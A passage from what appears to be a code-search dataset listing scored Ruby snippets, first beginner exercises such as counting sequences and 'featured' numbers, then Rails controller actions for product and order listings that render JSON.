count_by(x,n)\n\toutput = []\n\t(n+1).times do |i| \n\t\toutput.push(i*x)\n\tend\n\toutput.shift\n\tp output\nend", "title": "" }, { "docid": "df367a9f32c7459643f621c5d4a4d5d2", "score": "0.6505971", "text": "def featured(number)\n loop do\n number += 1\n if number.odd? && (number % 7) == 0\n break if number.to_s.split('').uniq.join('').to_i == number\n end\n end\n number\nend", "title": "" }, { "docid": "da83597e5cda52f942ca62db5f53333b", "score": "0.64885443", "text": "def count_and_say(n)\n string = '1'\n (n-1).times do\n string = string.gsub(/(.)\\1*/){|s|\n \"#{s.size}#{s[0]}\"\n }\n end\n return string\nend", "title": "" }, { "docid": "408568d7846374bd3cf9812529d19392", "score": "0.64835066", "text": "def count_to (num)\n if num >= 0\n [*0..num]\n else\n 0.downto(num).to_a\n end\nend", "title": "" }, { "docid": "0e2f4d8c609765846989fcd1f535053e", "score": "0.64830595", "text": "def sequence(ncount,nfirst)\n result = []\n counter = 0\n current_value = nfirst\n loop do \n break if counter == ncount\n result << current_value\n current_value += nfirst\n counter += 1\n end\n result\nend", "title": "" }, { "docid": "78ba823d184a139b61f4341c164b9890", "score": "0.64811933", "text": "def count_from_to(start_of_range = 1, end_of_range)\n start_of_range.upto(end_range) do |i|\n puts i\n end\nend", "title": "" }, { "docid": "4afda8a1bef7b412da5623ff679b0fcc", "score": "0.6478724", "text": "def sequence_count(count, starting_number)\n array = []\n accumulator = starting_number\n count.times do\n array << accumulator\n accumulator += starting_number\n end\n array\nend", "title": "" }, { "docid": "525f5757d6505fafd4ee5e332720425f", "score": "0.646249", "text": "def magic_numbers(count)\n result = []\n i = 0\n\n until result.length == count\n result << i if is_magic?(i)\n i += 1\n end\n\n result\nend", "title": "" }, { "docid": "879703941907351d408776b9609f8df5", "score": "0.64523005", "text": "def count_sheep\r\n 5.times do |sheep|\r\n puts sheep\r\n end\r\n 10\r\n end", "title": "" }, { "docid": "d8e5624bb1d7e60fa8b6b668d240b274", "score": "0.6448001", "text": "def lucas_numbers(n)\nend", "title": "" }, { "docid": "193b841153cac39ea7c7f6192a2d5774", "score": "0.6438976", "text": "def have(n); end", "title": "" }, { "docid": "d55b7f72a9e2c61492463bdb255498cc", "score": "0.6437686", "text": "def series_up(num) #started over\n set = 0\n list = [] # we know that the list starts empty\n\n num.times do |pattern|\n n = 0 # original number\n num.times do |num|\n list[n + set] = n + 1\n n += 1\n end\n set += pattern + 1\n # tells the number to keep growing\n end\n return list\nend", "title": "" }, { "docid": "c6891334db33549f09db5a0b61e77b71", "score": "0.6418225", "text": "def counting_sequence(n)\n return \"\" if n == 0\n sequence = ['1']\n until sequence.length == n\n sequence << generate_next_el(sequence.last)\n end\n sequence.last\nend", "title": "" }, { "docid": "b52e38e0c56cae76e87ec51c438c2ba8", "score": "0.64083517", "text": "def list_of_integers(n)\n integers = \"\"\n 1.upto(n) do |i|\n integers << i.to_s\n end\n \n integers\nend", "title": "" }, { "docid": "e34776a8714746d938910c0b1d2ff8ce", "score": "0.6404426", "text": "def sequence(count, start_num)\n arr = []\n 1.upto(count) { |num| arr << start_num * num }\n arr\nend", "title": "" }, { "docid": "5b2686a4e3ebc89188af6dd5a2f6f4e2", "score": "0.6399525", "text": "def featured(number)\n seven_multiple = 7\n count = 0\n\n loop do\n seven_multiple += 7\n count += 1\n break if seven_multiple.odd? && seven_multiple > number && \n seven_multiple.to_s.chars.uniq.size == seven_multiple.to_s.size\n end\n\n if number < 9_999_999_999\n seven_multiple\n else\n puts \"There is no possible number that fulfills those requirements\"\n end\nend", "title": "" }, { "docid": "cb76eabb47e1823a788de11aaaa01de4", "score": "0.63884145", "text": "def sequence(number)\n 1.upto(number).map { |num| num}\nend", "title": "" }, { "docid": "cc16e473870772b494743e4884618dd3", "score": "0.6383794", "text": "def sequence(count, start_value)\n result = []\n count.times do |num|\n result << start_value * (num + 1)\n end\n p result\nend", "title": "" }, { "docid": "8e01b9a4520d219901e287ac1abd193c", "score": "0.63831496", "text": "def count_by(x, n)\r\n # x.step(by: x).take(n)\r\n (1..n).map{|i| i * x}\r\nend", "title": "" }, { "docid": "45d575e992a1bf30d85acc0d1e932db1", "score": "0.63795555", "text": "def count_sheep\n\t5.times do |sheep|\n\t\tputs sheep\n\tend\n\t10\nend", "title": "" }, { "docid": "8486dd4bc803c6115fd36a95aeed91a2", "score": "0.63789386", "text": "def times_iterator(number_of_times)\n count = 0\n 7.times do\n puts \"Welcome to Flatiron School's Web Development Course!\"\n \nend\nend", "title": "" }, { "docid": "906eedd0baa7b826467db354b23f152b", "score": "0.63750947", "text": "def featured(number)\n if number >= 9999999999\n puts \"There is no possible number that fulfils these requirements\"\n return\n end\n\n number += 1\n while number % 7 != 0 || number.even? || number.to_s.split(//).uniq.count != number.to_s.split(//).count\n number += 1\n end\n number\nend", "title": "" }, { "docid": "3f3138cf62c9bc3f6871c8b1d26b2e18", "score": "0.63739765", "text": "def persistence(n)\n count = 0\n until n < 10\n n = n.to_s.split(\"\").map(&:to_i).inject(:*)\n count += 1\n end\n count\nend", "title": "" }, { "docid": "1cb018d5675ac27e8ba4ce6866e23744", "score": "0.63649595", "text": "def magic_numbers(n)\r\n\r\n magic_numbers = []\r\n i = 7\r\n while magic_numbers.length < n\r\n if magic_number?(i)\r\n magic_numbers << i\r\n end\r\n i += 1\r\n end\r\n magic_numbers\r\nend", "title": "" }, { "docid": "e7dbd8470b8249f8dd5323ce2f51d289", "score": "0.6362928", "text": "def featured(n)\n (n+1).upto(9_999_999_999) do |i|\n i_as_array = i.to_s.chars\n if i.odd? &&\n i % 7 == 0 &&\n i_as_array == i_as_array.uniq\n return i\n else\n next\n end\n end\n puts \"There is no possible number that fulfills those requirements\"\nend", "title": "" }, { "docid": "08fe6d60b374c07d0e5607e1c8427f54", "score": "0.6361452", "text": "def fizzbuzz_to(limit)\n 1.upto(limit) do |i|\n # from 1 to the numberi(limit)\n puts(fizzbuzz(i))\n # puts 1,2,...i\n end\nend", "title": "" }, { "docid": "d7a70ac64f4fbb229a8994dc6a8bfeb4", "score": "0.63614166", "text": "def count_to n\n num_arr = []\n\n if n >= 0\n (0..n).each do |i|\n num_arr.push(i)\n end\n # else n < 0\n # (n..0).each do |i|\n # num_arr << i\n num_arr\n end\nend", "title": "" }, { "docid": "dc5d3eccba73f111deeefcd13559798b", "score": "0.635904", "text": "def sequence(num)\n 1.upto(num).map { |num| num }\nend", "title": "" }, { "docid": "ca15632110a67f65af7967514f78614b", "score": "0.63494337", "text": "def count_and_say_imp(n)\n next_digit = '1'\n return next_digit if n == 1\n j = 2\n prev_digit = ''\n local_running = ''\n curr = ''\n cnt = 0\n while(j <= n)\n arr = next_digit.split('')\n arr.each_with_index do |d, i|\n if prev_digit.empty?\n prev_digit = d\n cnt += 1\n next\n end\n if prev_digit == d\n cnt += 1\n else\n local_running += \"#{cnt}#{prev_digit}\"\n prev_digit = d\n cnt = 1\n end\n end\n next_digit = \"#{local_running}#{cnt}#{prev_digit}\"\n local_running = ''\n cnt = 0\n prev_digit = ''\n j += 1\n end\n next_digit\nend", "title": "" }, { "docid": "81cb5d9f57878a72bab7eb98ec76e6b5", "score": "0.6341825", "text": "def featured(int)\r\n count = int + 1\r\n until count % 7 == 0 && count.digits == count.digits.uniq && count.odd?\r\n count += 1\r\n break if count > 9_999_999_999\r\n end\r\n case\r\n when count < 9_999_999_999\r\n count\r\n when count > 9_999_999_999\r\n count = \"There is no possible number that fulfills those requirements.\"\r\n end\r\nend", "title": "" }, { "docid": "d19b48e471928ec6b4f8b5090ed6d764", "score": "0.6341505", "text": "def magic_numbers(n)\n # declare an array 'result' with one element of value 7\n # traverse through a range ranging from 8 up, 7 being the first m/num\n #\n result = [7]\n i = 16\n while result.length < n\n result << i if helper(i)\n i += 1\n end\n\n result\nend", "title": "" }, { "docid": "7920b2ae17a6ea3aaa90b6db77fccec9", "score": "0.63370436", "text": "def count_to num\n ans = []\n if num >= 0\n 0.upto(num.floor) {|i| ans.push(i)} \n else\n 0.downto(num.ceil) {|i| ans.push(i)}\n end\n ans\nend", "title": "" }, { "docid": "9b04bf39a6bc856fa652f10499a85d99", "score": "0.6336897", "text": "def number_the_list(options)\n menunumber = 1\n options.each do |option|\n puts \"#{menunumber}. #{option}\"\n menunumber = menunumber + 1\n end\nend", "title": "" }, { "docid": "7f3b2f327edd77a23b27ede1109a996e", "score": "0.63312006", "text": "def sequence(count, start_num)\n # return [] if count == 0\n (1..count).map do |count_num|\n count_num * start_num\n end\nend", "title": "" }, { "docid": "bb7e9fc0d2ec34a5ca881933c3017823", "score": "0.63284814", "text": "def count_and_say(n)\n current = \"1\"\n \n (n - 1).times do\n temp = \"\"\n prev = current[0]\n count = 0\n idx = 0\n\n while idx < current.length\n if prev == current[idx]\n count += 1\n else\n temp += count.to_s + prev\n prev = current[idx]\n count = 1\n end\n\n idx += 1\n end\n \n temp += count.to_s + prev\n current = temp\n end\n\n current\nend", "title": "" }, { "docid": "7f616718296c408681effbb2c5286434", "score": "0.63264894", "text": "def popcount(int_value)\n D \"Counting 1s for #{int_value.to_s(2)}\"\n count = 0\n while int_value > 0\n count += 1\n int_value &= int_value - 1\n end\n\n count\nend", "title": "" }, { "docid": "dc163b42726ecc1ef9d903a69b2e2a89", "score": "0.6323707", "text": "def magic_numbers(count)\n arr = []\n counter = 0\n i = 7\n while true\n if is_magic_number?(i)\n arr << i\n counter += 1\n return arr if counter == count\n end\n i += 1\n end\nend", "title": "" }, { "docid": "ba39a9b7117f0bd6b04f0364dd93a4c3", "score": "0.63138473", "text": "def count_to(n)\n n = n.to_i\n if n >= 0\n (0..n).to_a\n else\n 0.downto(n).to_a\n end \nend", "title": "" }, { "docid": "560de4c4ded1011536c5751fefc01f8a", "score": "0.6306018", "text": "def number_patern(n)\n 1.upto(n) {|i| puts str(i)*i}\nend", "title": "" }, { "docid": "5e65ffa96a0880aec49f5922ea977e44", "score": "0.6305525", "text": "def exercise_1128 (numbers)\n # maintain a count array\n count_array = Array.new { 0 }\n # maintain added numbers\n result = []\n # loop number in numbers\n numbers.each { |number|\n # if element is already counted do not add\n if count_array[number].nil?\n result.insert(result.length, number)\n count_array[number] = true\n end\n # else add number to added numbers\n }\n # give result\n\n result\n end", "title": "" }, { "docid": "7fa3a854d50bf03129680c51a78fca8b", "score": "0.63028777", "text": "def sequence(count, starting_num)\n array = []\n count.times do |n|\n array << starting_num * (n + 1)\n end\n array\nend", "title": "" }, { "docid": "962c8abe30f51849cda90b419a65de29", "score": "0.63023806", "text": "def sequencer(number)\n baum_sweet = []\n for i in 0..number\n baum_sweet << zero_or_one(i)\n end\n puts \"#{baum_sweet.join()}\"\nend", "title": "" }, { "docid": "120be9c5c51802cd772e69b8c8cbc662", "score": "0.6300499", "text": "def sequence(integer)\n numbers = []\n counter = 1\n \n integer.times do \n numbers << counter\n counter += 1\n end\n \n numbers\nend", "title": "" }, { "docid": "0ae5e00166ab1b784353d7010a17f3bc", "score": "0.6299578", "text": "def handshakes(num)\n\t(1..num).reduce(:+)\nend", "title": "" }, { "docid": "a4fe9c5702fadaad335d0d9a73b1765d", "score": "0.62981814", "text": "def sequence(count, start_num)\n array = []\n count.times do |index|\n array << start_num * (index + 1)\n end\n array\nend", "title": "" }, { "docid": "4d7fdaeb50270920762157faa1799252", "score": "0.6296183", "text": "def count_sheep\r\n 5.times do |sheep| \r\n puts sheep\r\n end\r\n end", "title": "" }, { "docid": "b696a3e7d5689dfda0ffa386df642733", "score": "0.6293258", "text": "def count_to(n)\n\tn = n.to_i\n\tif n >=0 \n\t \t(0..n).to_a\n\t else\n\t \t0.downto(n).to_a\n\t end\nend", "title": "" }, { "docid": "882de0080e7c9c19366122c7161d0aff", "score": "0.629215", "text": "def fizz_buzz_to(limit)\n\t#for each element from 1 - limit add that element to valiable num\n 1.upto(limit).each do |num|\n \t#print the return value of method \"fizzbuzz(num)\"\n puts fizzbuzz(num)\n end\nend", "title": "" }, { "docid": "273e2015f043cc76d042ba5c4fc1bb14", "score": "0.6291026", "text": "def magic_numbers(n)\n\n magic_numbers = []\n i = 7\n while magic_numbers.length < n\n if magic_number?(i)\n magic_numbers << i\n end\n i += 1\n end\n magic_numbers\nend", "title": "" }, { "docid": "8fec4071ec62a3073f9b431f8f16a715", "score": "0.6289366", "text": "def count_to(n)\n num_array = []\n i = 0\n if n >= 0\n while i <= n\n num_array << i\n i += 1\n end\n elsif n < 0\n while i >= n\n num_array << i\n i -= 1\n end\n end\n num_array\n\n end", "title": "" }, { "docid": "607d144f6565fe3db079ba2123d2dd3c", "score": "0.62822896", "text": "def sequence(count, num)\n count.times.map {|n| num * (n + 1) }\nend", "title": "" }, { "docid": "10f6be78fe01dcdc8670f5e57813f6ac", "score": "0.6278254", "text": "def sequence(count, first_num)\n result = []\n 1.upto(count) do |num|\n result << num * first_num\n end\n result\nend", "title": "" }, { "docid": "442732312a9e37bf5dbf23a6e1371fbd", "score": "0.6276045", "text": "def sequence(count, start)\n arr_integers = []\n num = start\n\n count.times do\n arr_integers << num\n num += start\n end\n\n arr_integers\nend", "title": "" }, { "docid": "d7e33363a93a23e0ee07a37b535cf134", "score": "0.6271737", "text": "def sequence(count, num)\n (1..count).to_a.inject([]) do |array, counter|\n array << num * counter\n array\n end\nend", "title": "" }, { "docid": "9867d1720ca262e3d8c06c167ec5e691", "score": "0.6268939", "text": "def sequence(count, start)\n result = []\n\n 1.upto(count) do |num|\n result << start * num\n end\n result\nend", "title": "" }, { "docid": "e09ca6c75da0a043bcbabe4f787465ba", "score": "0.6264005", "text": "def count_by(x, n)\n (0...n).to_a.map { |num| (num + 1) * x }\nend", "title": "" }, { "docid": "f4efafbebcc8128140f08014bcb98fd4", "score": "0.62632614", "text": "def sequence(count, number)\n (1..count).map { |idx| idx * number }\nend", "title": "" }, { "docid": "7d6a4572f20d0e0d3e1535b0b8d7d8d5", "score": "0.62565875", "text": "def number_to_hundred_count(current_number)\n puts current_number\n if (current_number < 100)\n count(current_number + 1)\n end\nend", "title": "" }, { "docid": "fd229e97e3135fa0ce1c954f0dc58eeb", "score": "0.62525517", "text": "def sequence(count, starting_num)\n (1..count).map { |multiple| starting_num * multiple }\nend", "title": "" }, { "docid": "9b89c1a256e8afd63d7c87cd1ecc14e6", "score": "0.6248249", "text": "def sequence(number)\n array = []\n 1.upto(number) { |integer| array << integer }\n array\nend", "title": "" }, { "docid": "097fb903e4af8c9e430b724e64237627", "score": "0.6244132", "text": "def sequence(count, multiplier)\n\n results = []\n\n 1.upto(count) { |num| results << num * multiplier }\n\n results\n\nend", "title": "" }, { "docid": "6c8757d0a951ffa40507192852b760ab", "score": "0.6243677", "text": "def countupto(num)\n\tif num <= 0\n\t\tputs num\n\telse\n\t\tcountupto(num-1)\n\t\tputs \"#{num} up to\"\n\tend\nend", "title": "" }, { "docid": "bda36a4adab649398d9a4f0bfa42f695", "score": "0.6243336", "text": "def count_to(n)\n n = n.to_i\n if n >= 0\n (0..n).to_a\n else\n 0.downto(n).to_a\n end\nend", "title": "" }, { "docid": "bda36a4adab649398d9a4f0bfa42f695", "score": "0.6243336", "text": "def count_to(n)\n n = n.to_i\n if n >= 0\n (0..n).to_a\n else\n 0.downto(n).to_a\n end\nend", "title": "" }, { "docid": "afacb80a41842b1880cb9819467d3d10", "score": "0.6236253", "text": "def sequence(count, first)\n sequence = []\n number = first\n\n count.times do\n sequence << number\n number += first\n end\n\n sequence\nend", "title": "" }, { "docid": "8b4ffa1edc66c1405a1d9354229e10e4", "score": "0.6232884", "text": "def exercise_4()\n for counter in 1..6\n puts \"Break egg #{counter}.\"\n end\nend", "title": "" }, { "docid": "2b04865b15a9067eebc7d478e187f683", "score": "0.62317663", "text": "def numbers_to_100\n index = 1\n while index < 101\n puts index\n index += 1\n end\nend", "title": "" }, { "docid": "d0889b762b376960a7759256ac1a62d6", "score": "0.62302667", "text": "def count\n return 12\n end", "title": "" }, { "docid": "58918cfded717e3cebe0c1dab83161e8", "score": "0.6228261", "text": "def count_to_zero(number)\n\tif number <= 0\n\t\tputs number\n\telse \n\t\tputs number\n\t\tcount_to_zero(number-1)\n\tend\nend", "title": "" }, { "docid": "9491c9f0d9057cf1557c5a8022c55bba", "score": "0.62233794", "text": "def count_to(n)\n n = n.to_i\n if n >= 0\n 0..(n).to_a\n else\n 0.downto(n).to_a\n end\n end", "title": "" }, { "docid": "7c1d6ac992def2f2e45578779a9ed2d3", "score": "0.6223274", "text": "def countTo(n, stop)\n return if n == stop\n print n\n # ruby has implicit returns, sort of like JS. Last statement is implicitly returned\n countTo(n+1, stop)\nend", "title": "" }, { "docid": "da7648eb09b339d270a5ea0c4bf4b663", "score": "0.6213792", "text": "def sequence(ncount,nfirst)\n (1..ncount).map do |n|\n n * nfirst\n end\nend", "title": "" } ]
844b2ef17c33378be9be41b12d8f3d0b
GET /insumos_serigrafia_productos/1 GET /insumos_serigrafia_productos/1.json
[ { "docid": "a81945373733e4951b987de6ea99f9a1", "score": "0.0", "text": "def show\n end", "title": "" } ]
[ { "docid": "bf09138ee62e2b06dfff7cac82b59b5b", "score": "0.6981473", "text": "def index\n @establecimiento_productos = EstablecimientoProducto.all\n\n render json: @establecimiento_productos\n end", "title": "" }, { "docid": "9bce4f74874a78ad5f7c1c788c394438", "score": "0.6973312", "text": "def index\n @insumos_serigrafia_productos = InsumosSerigrafiaProducto.all\n end", "title": "" }, { "docid": "f835c52fa6ae5ee315960c6cea9dbe65", "score": "0.69208115", "text": "def index\n @productos_jsons = ProductosJson.all\n end", "title": "" }, { "docid": "0621e60ea60143ca662b69497134d0b7", "score": "0.6882518", "text": "def show\n @localizacao = Localizacao.find(params[:id])\n \n @localizacao.produtos.each do |p|\n\n produtoVPSA = HTTParty.get( url_vpsa_load_produtos p.idProduto.to_s '93' )\n \n p.nomeProduto = produtoVPSA['descricao']\n p.estoque = produtoVPSA['quantidadeEmEstoque']\n end\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @localizacao.produtos.to_json(:methods => [:nomeProduto,:estoque])}\n end\n end", "title": "" }, { "docid": "c5e8bed080047f466ce7bd472b04a79d", "score": "0.68684024", "text": "def index\n @repuestos_serigrafia_productos = RepuestosSerigrafiaProducto.all\n end", "title": "" }, { "docid": "7dfd20a3cfc16e0723b397575c03dd4c", "score": "0.68359095", "text": "def index\n @productos = Producto.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @productos }\n end\n end", "title": "" }, { "docid": "45bbabc04d0f6a45165c883004881941", "score": "0.6731297", "text": "def show\n if params[:pedido_producto]\n @pedido = Pedido.find(params[:pedido_id])\n authorize! :read, @pedido\n @producto = Producto.find(params[:id])\n render json: @pedido.productos.find(@producto.id)\n elsif params[:negocio_producto]\n @negocio = Negocio.find(params[:negocio_id])\n authorize! :read, @negocio\n @negocio.productos.reload\n np = NegocioProducto.find_by negocio_id: @negocio.id, producto_id: params[:id]\n @producto.precio = np.precio\n render json: @producto\n else\n authorize! :read, @producto\n render json: @producto\n end\n end", "title": "" }, { "docid": "8083d17d825e9fa61dad2888519ddbaa", "score": "0.6730434", "text": "def index\n @pedidos = @producto.pedidos\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pedidos }\n end\n end", "title": "" }, { "docid": "344790bf7df81d9bf3bf22f0559d8e76", "score": "0.671954", "text": "def index\n @tinta_serigrafia_productos = TintaSerigrafiaProducto.all\n end", "title": "" }, { "docid": "55002eafaf2255e68f851784a9e2aa7e", "score": "0.67186", "text": "def show\n @producto_ingreso = ProductoIngreso.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @producto_ingreso }\n end\n end", "title": "" }, { "docid": "e44f1f0af60bfa529da691670ca9174c", "score": "0.67164564", "text": "def show\n @balanco = Balanco.find(params[:id])\n \n @balanco.produto_aferidos.each do |p|\n \n url = Ceam::Application::URL_VPSA + '/produtos/' + p.idProduto.to_s\n \n produtoVPSA = HTTParty.get(url)\n \n p.nomeProduto = produtoVPSA['descricao']\n p.estoque = produtoVPSA['quantidadeEmEstoque']\n end\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @balanco.produtos.to_json(:methods => [:nomeProduto,:estoque])}\n end\n end", "title": "" }, { "docid": "ea3768f847346db4694ebae6b3d5a8ff", "score": "0.6705877", "text": "def index\n @productos = Producto.paginate(:page => params[:page], :per_page => 25)\n # render json: ProductoSerializer.new(@productos)\n \n # respond_with @productos, serializer: PaginationSerializer\n render json: @productos\n end", "title": "" }, { "docid": "266b073ed7ded56418ad36a325faaed6", "score": "0.66770864", "text": "def show\n render json: @produto\n end", "title": "" }, { "docid": "4a22708ed79d68c93c710c7aa4129095", "score": "0.6673172", "text": "def get_products(rest_url)\n rest_output = RestClient.get rest_url, @header\n json_data = JSON.parse(rest_output)\n end", "title": "" }, { "docid": "4a22708ed79d68c93c710c7aa4129095", "score": "0.6673172", "text": "def get_products(rest_url)\n rest_output = RestClient.get rest_url, @header\n json_data = JSON.parse(rest_output)\n end", "title": "" }, { "docid": "86f745ab60eb7f081f9617b19320aae6", "score": "0.66648847", "text": "def products\n @mitsumori_sehin = MitsumoriSeihin.find(:all, :conditions => [\"\\\"mitsumoriNo\\\" = ?\", params[:mitsumoriNo]])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mitsumori_sehin }\n end\n end", "title": "" }, { "docid": "e9b8648c85f1665d5cccab65c692c76c", "score": "0.66479826", "text": "def set_productos_json\n @productos_json = ProductosJson.find(params[:id])\n end", "title": "" }, { "docid": "381c63896e65084def5bb183c3b92229", "score": "0.6639622", "text": "def index\n @maquinaria_serigrafia_productos = MaquinariaSerigrafiaProducto.all\n end", "title": "" }, { "docid": "3fc6b4f32041090c53f255b04bc8fd16", "score": "0.6636381", "text": "def index\n @produtos = Produto.all\n\n render json: @produtos\n end", "title": "" }, { "docid": "70770fda5f31b119384b853e43fc8a4c", "score": "0.66261107", "text": "def show\n render json: @establecimiento_producto\n end", "title": "" }, { "docid": "400a084c35de0e658b5603a34e4e41cb", "score": "0.6618043", "text": "def show\n render json: @producto\n end", "title": "" }, { "docid": "01a37d05bd492d7e688f81aec76163c4", "score": "0.66106147", "text": "def index\n response = CProduct.get_price(params['product'])\n render json: response\n end", "title": "" }, { "docid": "b4b28cd3d622f32a8398a02f689e4baf", "score": "0.6594794", "text": "def get_product\n product = Product.find(params[:product_id])\n json_response(product)\n end", "title": "" }, { "docid": "8b74711ab0768b1ffe166ea19ba7f83b", "score": "0.6591234", "text": "def index\n if params[:pedido_producto]\n @pedido = Pedido.find(params[:pedido_id])\n authorize! :read, @pedido\n @pedido.productos.reload\n render json: @pedido.productos.con_precio\n\n elsif params[:negocio_producto]\n @negocio = Negocio.find(params[:negocio_id])\n # Actualizar colección de productos\n authorize! :read, @negocio\n @negocio.productos.reload\n render json: @negocio.productos.con_precio\n else\n authorize! :read, @producto\n render json: @productos\n end\n end", "title": "" }, { "docid": "01f33b57e9f9feee567d61da4b023495", "score": "0.6574712", "text": "def consulta_prod\n #pega o id do produto com base no nome\n check_id_prod = Product.find_by(name: params[:product])\n \n #busca os diferentes valores desse cliente\n @prod_clis = ProdCli.select('val1,val2,val3,val4,val5').where(client_id: params[:client_id]).where(product_id: check_id_prod.id).first\n respond_to do |format|\n format.html\n format.json { render :json => @prod_clis }\n end\n \n #------------DEU CERTO GLORIA Á DEUS!!!-----------------------------------------------\n end", "title": "" }, { "docid": "610ec0e237509a1fd4f172fd59d439d0", "score": "0.6565247", "text": "def show\n @cliente_producto = ClienteProducto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cliente_producto }\n end\n end", "title": "" }, { "docid": "ccc7c92d828813b39a75db3ad216cec1", "score": "0.6556355", "text": "def set_insumos_serigrafia_producto\n @insumos_serigrafia_producto = InsumosSerigrafiaProducto.find(params[:id])\n end", "title": "" }, { "docid": "8916fc1595aeec9fc5b2e9466c3740e3", "score": "0.6556109", "text": "def index\n\n if request.headers['Content-Type'] == 'application/json'\n return render json: Product.get_api_result\n end\n\n @products = Product.all\n @me = Producer.get_me\n @my_products = []\n @my_ingredients = []\n @me.product_in_sales.each do |product_in_sale|\n @my_products[product_in_sale.product.sku.to_i] = product_in_sale.product\n product_in_sale.product.ingredients.each do |ingredient|\n @my_ingredients[ingredient.item.sku.to_i] = ingredient.item\n end\n end\n\n respond_to do |format|\n format.html { render :index }\n format.json { render json: Product.get_api_result }\n end\n end", "title": "" }, { "docid": "c002b94f8a94d296eedca24fc5848a7f", "score": "0.6530666", "text": "def show\n @producto = Producto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @producto }\n end\n end", "title": "" }, { "docid": "c002b94f8a94d296eedca24fc5848a7f", "score": "0.6530666", "text": "def show\n @producto = Producto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @producto }\n end\n end", "title": "" }, { "docid": "c002b94f8a94d296eedca24fc5848a7f", "score": "0.6530666", "text": "def show\n @producto = Producto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @producto }\n end\n end", "title": "" }, { "docid": "c002b94f8a94d296eedca24fc5848a7f", "score": "0.6530666", "text": "def show\n @producto = Producto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @producto }\n end\n end", "title": "" }, { "docid": "5338e87cfdf1c148db046c8cf90f4400", "score": "0.6489198", "text": "def get_product_list\n request_path = \"/products\"\n return RestClient.get(@api+request_path)\n end", "title": "" }, { "docid": "aa984abc773c328bfae3ed0240031101", "score": "0.6481286", "text": "def show\n @tipo_producto = TipoProducto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_producto }\n end\n end", "title": "" }, { "docid": "d004dbf36a3b5b6cd6442f2fbdcd308f", "score": "0.6464116", "text": "def show\n respond_with(@product) do |format|\n format.json {render :json => {:porcentaje => @product.try(:tasaiva).try(:porcentaje).to_f,\n :price => @product.try(:price).to_f,\n :description => @product.observation.presence || @product.name }}\n end\n end", "title": "" }, { "docid": "52e6c551b0e0afa9907b92f085ff6110", "score": "0.6434967", "text": "def index\n \n if params[:format] != \"json\"\n @localizacaos = Localizacao.paginate(:page => params[:page], :per_page => 10)\n else\n @localizacaos = Localizacao.all\n end\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @localizacaos, :include => :produtos }\n end\n end", "title": "" }, { "docid": "7443d3841d4126250ad6e614425707e7", "score": "0.6425571", "text": "def show\n @producto_pedido = ProductoPedido.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @producto_pedido }\n end\n end", "title": "" }, { "docid": "54fdcde2065cc313bc9b8e129fceba4a", "score": "0.6412427", "text": "def index\n uri = \"#{API_BASE_URL}/productss.json\" # specifying json format in the URl\n rest_resource = RestClient::Resource.new(uri,USER_NAME , PASSWORD) # It will create\n # new rest-client resource so that we can call different methods of it\n products = rest_resource.get() # will get back you all the detail in json format, but it\n @products = JSON.parse(products, :symbolize_names => true)\n # we will convert the data into array of hash.see json data\n end", "title": "" }, { "docid": "5c16496a9d20289dc6e40ac3f50d02a7", "score": "0.64014053", "text": "def get_products(rest_url, version=nil)\n if !rest_url.include?('fromVersion')\n if (version.nil?)\n rest_url.gsub!('.json','/fromVersion/0.json')\n else\n rest_url.gsub!('.json',\"/fromVersion/#{version}.json\")\n end\n end\n rest_output = RestClient.get rest_url, @header\n json_data = JSON.parse(rest_output)\n end", "title": "" }, { "docid": "82928e988956d260577394b08d74ede7", "score": "0.63911396", "text": "def show\n @producto = Producto.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @producto }\n end\n end", "title": "" }, { "docid": "2c9bc7dd09f4c135b9e9f8761a2f45cc", "score": "0.63880396", "text": "def set_repuestos_serigrafia_producto\n @repuestos_serigrafia_producto = RepuestosSerigrafiaProducto.find(params[:id])\n end", "title": "" }, { "docid": "1d07f3d6710389b46ede0fb792825a17", "score": "0.63782954", "text": "def index\n api_method = 'products'\n path = Rails.configuration.MprProductsAPI.to_s + api_method.to_s\n @products = ActiveSupport::JSON.decode http_get(path).body\n @images = @products['images']\n @products = @products['product']\n # render json: @products\n\tend", "title": "" }, { "docid": "95957d33eda763e0f5181c54beb1f890", "score": "0.63521904", "text": "def index\n \t@episodios = Episodio.where(serie_id: params[:serie_id],ativo: true)\n render json: @episodios\n end", "title": "" }, { "docid": "e8a846cc175802331e9e71a283ca2e1a", "score": "0.6342281", "text": "def index\n products = Product.all\n render json: products\n end", "title": "" }, { "docid": "d834af6f6e8e62b85e58b01db48426c1", "score": "0.6337936", "text": "def precios\n prices = []\n stock = getStockBySku\n products = Product.where(\"creator = ?\", 3)\n products.each do |product|\n qty = 0\n if stock.size>0\n for i in 0..stock.size-1\n if stock[i]['_id'] == product.sku\n qty = stock[i]['total']\n end\n end\n end\n json = {sku: product.sku, precio: product.unit_production_cost, stock: qty}.to_json\n prices.push(json)\n end\n render json:prices\n end", "title": "" }, { "docid": "92a6a3f0560926e9e04fa5a12e077863", "score": "0.6329057", "text": "def getKind\n @products = Product.where(\"kind = ?\", params[:kind]).available.PriceOrder.paginate(page: params[:page], per_page: 5)\n render json: @products\n end", "title": "" }, { "docid": "f1e0d98e6a853a499711d3eef9140344", "score": "0.6326454", "text": "def get_prod(id)\n\tkey = \"b05dcd698e5ca2eab4a0cd1eee4117e7db2a10c4\"\n url = \"http://api.zappos.com/Product/#{id}?includes=[%22styles%22]&key=#{key}\"\n\n\tresult = JSON.parse(open(url).read)\n \n #return product info as a json object\n product = result['product']\n end", "title": "" }, { "docid": "8502f8f5b2d7b5ace2f3fa35cc8066f4", "score": "0.6321057", "text": "def index\n 